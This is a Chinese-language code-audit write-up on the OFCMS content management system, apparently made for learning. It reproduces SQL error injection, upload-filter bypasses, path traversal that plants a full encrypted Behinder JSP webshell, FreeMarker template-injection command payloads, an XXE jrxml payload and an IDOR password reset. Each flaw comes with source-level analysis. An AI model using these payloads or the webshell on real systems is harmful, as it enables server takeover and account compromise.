写在前面
通过审计一些简单的源码学习代码审计。在审计过程感觉还是有很多代码看不懂,不管那么多了,先审起来。
后台sql注入漏洞
漏洞复现
登录后台后,在系统设置->代码生成->添加中输入如下payload
1 | update of_cms_ad set ad_id=updatexml(1, concat(0x7e, (database()),0x7e),1); |
可以看到成功爆出了数据库名。
漏洞分析
通过burp抓包,可以看到请求的路由。
在IDEA中 全局搜索system/generate
可以找到处理这个路由的类文件,在这个文件的45行可以看到一个create方法,刚刚的路由就是调用这个方法。
这里的getPara获取了传入的sql语句
接下来,跟进Db.update中。
继续跟进
继续跟进
这里先是建立了一个数据库连接,然后再次调用了update方法,继续跟进
这里就是比较关键的地方了,conn.prepareStatement
是用来预编译sql语句的,executeUpdate
则是可以执行sql语句。
预编译通常都是先构造一个sql语句,然后需要传入的参数用?
代替,然后挨个放进去,目的就是为了预防sql注入。但是这整条sql语句我们都能够控制。预编译根本没起到什么作用,也没有对sql做过滤,所以可以自己构造update报错语句进行报错注入。
任意文件上传2
漏洞复现
这里先上传一个 文件后缀为 图片格式 png 的 jsp webshell,然后抓包。
当上传gif后缀格式的时候,是可以上传成功的。
但是上传jsp后缀格式就不行,由于是在windows下,使用::$DATA
后缀绕过上传
在来看看上传文件目录下
当然,如果直接访问是访问不了的
漏洞分析
还是通过burp抓包,查看请求的路由
全局搜索comn/service
在ComnController
文件的101行
上面是文件上传的逻辑,jfinal 使用 getFile进行文件上传,跟进getFile
再次跟进
跟进 MultipartRequest
类
跟进wrapMultipartRequest
方法
在86行调用了一个 isSafeFile的方法
这里拿到了上传文件的文件名,去重并转换成小写,然后判断文件名末尾是否为.jsp
或.jspx
,如果是则返回flase,就不进行上传。
但是在windows下,绕过的方式可以用shell.jsp::$DATA
或在文件名末尾加.,比如shell.jsp.
都会保存为shell.jsp
任意文件上传2
漏洞复现
在系统设置->模板文件中,点击保存,然后burp抓包
这里将 dirs
改成 ../../../static
, file_name
改成shell.jsp
,file_content
改成jsp冰蝎马
1 | file_path=E%3A%5CTools%5CEnv%5Capache-tomcat-8.5.73%5Cwebapps%5Cofcms_admin%5CWEB-INF%5Cpage%5Cdefault%5Cindex.html&dirs=../../../static&res_path=&file_name=shell.jsp&file_content=<jsp%3aroot+xmlns%3ajsp%3d"http%3a//java.sun.com/JSP/Page"+version%3d"1.2"><jsp%3adirective.page+import%3d"java.util.*,javax.crypto.*,javax.crypto.spec.*"/><jsp%3adeclaration>+class+U+extends+ClassLoader{U(ClassLoader+c){super(c)%3b}public+Class+g(byte+[]b){return+super.defineClass(b,0,b.length)%3b}}</jsp%3adeclaration><jsp%3ascriptlet>String+k%3d"e45e329feb5d925b"%3bsession.putValue("u",k)%3bCipher+c%3dCipher.getInstance("AES")%3bc.init(2,new+SecretKeySpec((session.getValue("u")%2b"").getBytes(),"AES"))%3bnew+U(this.getClass().getClassLoader()).g(c.doFinal(new+sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext)%3b</jsp%3ascriptlet></jsp%3aroot> |
在ofcms_admin\static
下
可以看到已经成功上传,直接用冰蝎连接
成功拿下
漏洞分析
通过burp抓包可以路由为/ofcms_admin/admin/cms/template/save.json
在TemplateController.java
文件中
在107行
简单分析下,这里可以通过外部控制 res_path
dirs
file_name
file_content
这四个参数。
1 | fileContent = fileContent.replace("<", "<").replace(">", ">"); |
经过分析,相当于是文件路径和文件名还有文件内容我们都可以控制,并且没有对文件名和文件内容进行限制,想传入什么都可以。而且文件路径还可以通过../../
进行目录穿越,可以实现将文件传入到任意目录下。
1 | pathFile = new File(SystemUtile.getSiteTemplatePath()); |
这条语句则会得到一个基础路径,通过debug可以得知
通过测试,可以访问到网站跟目录下的static下的资源文件,可以控制dirs
为 ../../../static
将冰蝎传入到static目录下,冰蝎链接,即可拿下。
模板注入
漏洞复现
任选一个payload放在模板文件的任意位置。
1 | <#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")} |
1 | <#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()} |
1 | <#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")</@value> |
然后让我一个不存在的文件,就会自动跳转到404页面,然后弹出计算器。
漏洞分析
这里的原理也很简单,这套网站使用了freemarker
作为模板语言,并且我们还能控制网页模板文件,因此,只要能控制网页的地方,都可以将<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
执行命令的语句嵌入到网页中,然后访问就会执行。
XML注入
漏洞复现
首先在本地用python起一个http监听
然后通过上面任意文件上传2
的方式上传一个后缀为jrxml格式的文件
ssrf.jrxml内容
1 | <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://127.0.0.1:8000/secret_pass.txt">%xxe;]> |
data
1 | file_path=E%3A%5CTools%5CEnv%5Capache-tomcat-8.5.73%5Cwebapps%5Cofcms_admin%5CWEB-INF%5Cpage%5Cdefault%5Cindex.html&dirs=../../&res_path=&file_name=ssrf.jrxml&file_content=<!DOCTYPE+foo+[<!ENTITY+%25+xxe+SYSTEM+"http%3a//127.0.0.1/secret_pass.txt">%25xxe%3b]> |
然后再访问用户管理->系统设置->导出全部,并抓包
发送到Repeater,修改j的参数为 ../ssrf
并提交
python收到了请求
漏洞分析
根据路由report
找到 ReprotAction.java
这段代码的功能就是用来导出报表的,前端可以传入参数j
可以控制读取 jrxml
文件。
假设j
传入的是ssrf
, 那么 jrxmlFileName
变量得到的路径就是
1 | /WEB-INF/jrxml/ssrf.jrxml |
如果传入 ../ssrf
那么就会加载 WEB-INF目录下的ssrf.jrxml文件,所以通过目录穿越的方式,可以加载任意路径下的jrxml文件
1 | /WEB-INF/jrxml/../ssrf.jrxml |
但是只是加载任意路径下的jrxml 文件,有有什么用呢?
接下来,在46行中
跟入compileReport
继续跟入
这里的 JRXmlLoader.load(inputStream)
这个方法 则可以解析 jrxml。而这里的inputStream
参数就是,刚刚通过j
传入的文件名,然后进行拼接后打开文件流,只要能上传一个通过精心构造一个jrxml文件,那么就可以实现ssrf,读取文件。但是这里不会回显读取后的结果,所以只能构造一个实现ssrf jrxml文件。
1 | <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://127.0.0.1:8000/secret_pass.txt">%xxe;]> |
这里就利用了任意文件上传2
中保存模板的方式在任意一个路径下,让后修改j的参数去路径下读取,即可加载到这个jrxml文件,实现ssrf攻击。
任意用户密码重置
漏洞复现
创建一个test用户,并登录到test
修改密码
然后抓包
发送到Repeater,修改user_id 的参数为1,即可修改管理员 admin密码 为 666666
接下来 登录到 admin
成功登录
漏洞分析
根据密码重置的路由 /ofcms_admin/admin/system/user/respwd.json
在源码中找到SysUserController.java
在 109行
在 respwd这个方法当中,首先会拿到两次输入的密码进行比对,如果不一致则直接返回,一致则将密码进行Sha256Hash进行加密然后set到Record这个对象中,这个Record对象就是封装了一个Map对象,可以对其进行get,set,最关键的一个地方就是,下面还获取了user_id 也并设置到Record对象中。然后执行Db.update。这里以user_id
作为更新条件 从 record中去获取user_id
,然后record中的user_id
的其实就是外部传入的user_id
。所以才可以通过控制user_id
来重置任意用户密码。
到此就结束了,在审计的过程当中,有很多代码我都读不懂,读不懂的原因是因为使用了开发框架,没有去使用过,所以看起来很费劲。